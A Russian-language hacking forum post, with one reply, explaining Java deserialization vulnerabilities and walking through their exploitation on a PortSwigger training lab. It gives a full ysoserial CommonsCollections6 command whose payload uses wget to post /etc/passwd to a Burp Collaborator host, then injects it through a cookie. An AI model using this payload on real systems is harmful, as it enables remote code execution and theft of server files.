Статья Десериализация Java

lukeone

Магистр
Администратор
hackerville
Сообщения
20
Реакции
16
Сериализация - процесс преобразования сложных структур данных, таких как объекты и их поля, в нормальный формат, который можно отправлять и получать в виде последовательного потока байтов.
Для тупых - большой и сложный запрос можна отправить в байтах

Десериализация - Процесс восстановления этого потока байтов в полностью функциональную копию исходного объекта в точном состоянии, в котором он был сериализован. Затем логика веб-сайта может взаимодействовать с этим десериализрованным объектом, как и с любым другим объектом.
Для тупых - Из байтов в норм вид

И так, юные падаваны спросят меня:
- Магистр Люк, ну и в чём уязвимость?
- Не проверяются данные при десериализации, в байтах код может быть вредоносный, мой юный падаван...



Рассмотрим поиск и эксплуатацию такой уязвимости:

1650880705835.png

Декодим url+base64+gzip

1650880758034.png

Понимаем, в каком порядке сервак принимает данные
Так как это java, я использовал ysoserial и колаборатор от бюрпа, попробуем прочитать /etc/passwd
Bash:
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'wget --post-file /etc/passwd uki3xdgu0t8bkn8uxqusn13e258wwl.burpcollaborator.net' | gzip -f | base64 -w0
1650881254786.png
Дальше мы берём это и енкодим все спецсимволы, я использовал cyberchef
1650881394055.png

Вставляем вместо наших cookie...

1650881494287.png


И получаем ответ от колаборатора

1650881541106.png


На этом всё, эксплуатация была проведена на тестовом стенде от portswigger...
 
  • Like
Реакции: d0ppl4r, megaDED и exploit

JubyL3y

Кодер
Кодер
hackerville
Сообщения
13
Реакции
8
Статья топ, Автор красавчик, однако не хватает разъяснения про использованные средства
 
  • Like
Реакции: d0ppl4r